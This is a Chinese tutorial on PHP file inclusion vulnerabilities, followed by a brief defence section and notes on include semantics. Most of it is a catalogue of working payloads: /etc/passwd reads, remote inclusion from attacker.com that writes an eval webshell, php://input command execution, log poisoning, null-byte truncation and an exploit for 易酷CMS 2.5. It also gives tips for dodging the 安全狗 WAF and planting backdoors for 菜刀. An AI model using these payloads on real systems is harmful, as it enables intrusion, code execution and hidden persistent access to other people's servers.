定义:在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为包含。
程序开发人员都希望代码更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
文件包含漏洞在PHP Web Application中居多,而在JSP,ASP,ASP.NET程序中却非常少,甚至没有包含漏洞的存在。PHP常见的导致文件包含的函数如下:include(),include_once(),require(),require_once(),fopen(),readfile()当使用前4个函数包含一个新的文件时,只要文件内容符合PHP语法规范,那么任何扩展名都可以被PHP解析。包含非PHP语法规范源文件时,将会暴露其源代码。后2个函数会造成敏感文件被读取
这里分为远程包含,本地包含
include.php:
然后phpinfo.txt
payload:http://127.0.0.1/?include.php?name=phpinfo.txt
思考:
直接打开127.0.0.1/phpinfo.txt是不执行的,还是会被当作txt显示源码,但是通过构造payload就可以,这里思考利用:如果name传参数传一个看似安全的格式,实则不安全,可以留后门。可以包含过狗,包含后门。包含一句话。一般安全狗对txt不查杀,把危险的东西放入txt,然后利用包含漏洞来连接菜刀,拿webshell
包含:将包含文件以脚本解析执行
远程包含本地包含区别和原理:
php.ini设置allow_url_include开关
设置为on代表可以远程包含:比如http://127.0.0.1/?include.php?name=http://127.0.0.1/phpinfo.txt
利用:
易酷CMS2.5文件包含漏洞
这个属于本地包含漏洞,首先先构造写入一句话木马,由于没有上传点,这时候利用日志功能:
访问错误,这时一句话木马会记录到temp/logs/,只不过{~eval($_POST[x])}在日志文件里,而且是txt格式
这是文件包含,使用了日志里面的一句话木马,然后菜刀直接连上!
其他利用大全:
1.读取敏感文件
访问URL:http://www.xxser.com/index.php?page=/etc/passwd如果目标主机文件存在,并且有相应的权限,那么就可以读出文件的内容。反之,就会得到一个类似于;open_basedir restriction in effect的警告。2.远程包含Shell如果目标主机allow_url_fopen选项是激活的,就可以尝试远程包含一句话木马,如:http://www.attacker.com/echo.txt,代码如下:<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>访问:http://www.example.com/index.php?page=http://www.attacker.com/echo.txt。将会在index.php所在的目录下生成shell.php,内容为:<?php eval($_POST[xxser]);?>3.本地包含配合文件上传假设已经上传一句话图片木马到服务器,路径为:/uploadfile/xxx.jpg图片代码如下:<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>访问URL:http://www.example.com/index.php?page=./uploadfile/xxx.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php。4.使用PHP封装协议4.1 使用封装协议读取PHP文件例子如下:http://www.example.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php访问URL,得到经过Base64加密后的字符串,这段代码就是Base64加密过后的PHP源代码,解密后就可得到原本的“样貌”。4.2 写入PHP文件(或者远程被包含的文件中含有写入执行的php代码)在allow_url_include为On时,构造URL:http://www.example.com/index.php?page=php://input,并且提交数据为:<?php system('net user');?>会得到net user命令的结果。5.包含Apache日志文件本地文件包含的利用。Apache有两个日志文件:access.log(访问日志)和error.log(错误日志)。攻击者先访问http://www.example.com/<?php phpinfo();?>,操作这一步时,需要Burp,否则<,>,空格都会被转码。随后访问http://www.xxser.com/index.php?page=./../Apache-20/logs/access.log使用这种方式时,找到Apache的路径是关键。6.截断包含<?phpif(isset($_GET['page'])){ include $_GET['page'].".php";}else{ include 'home.php';}?>如果此时存在一个图片木马,名为1.jpg,可以输入如下URL:http://www.example.com/index.php?page=1.jpg%00当然这种方法只适用于magic_quotes_gpc=Off的情况下。7.绕过WAF防火墙图片木马一般不会被web杀毒软件查出来。
想办法上传一个文件,包含有后门,然后引用就可以了
发现:
include(),include_once(),require(),require_once(),fopen(),readfile()包含的是否是动态的变量,是的话,测试之
四、防御方法
1.严格判断包含的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;2.路径限制:限制被包含的文件只能在某一文件夹内,一定要禁止目录跳转字符,如:“../”;3.包含文件验证:验证被包含的文件是否是白名单中的一员;4.尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include("head.php");,不要把被包含的写成变量!。后记
include和require语句是相同的,除了错误处理方面:
reuqire会生成致命错误(E_COMPILE_ERROR)并停止脚本include只生成错误报告(E_WARING),并且脚本会继续require和require_once的差别是,require重复调用会多次加载你引用的文件,而require_once只加载一次,而不管你实际上调用了多少次,主要用于复杂的文件包含关系。include和include_once的差别也可以以此类推。
JSP包含分两种方式:静态包含和动态包含。
一、静态包含<%@include file="page.txt"%>为JSP的静态包含语句,静态包含语句先进行包含,再做处理操作。JSP语法规定,include指令为静态包含,只允许包含一个已经存在于服务器中的文件,而不能使用变量来控制包含某个文件,这就意味着使用include指令将不存在文件包含漏洞。二、动态包含<jsp:inclde page="page.txt"/>为动态包含语句,在运行时会先处理被包含页面,然后再包含,而且可以包含一个动态页面(变量)。但在包含一个非JSP文件扩展名时,即使其内容符合JSP语法规范,也会只读取其源代码,而不会解析其JSP代码。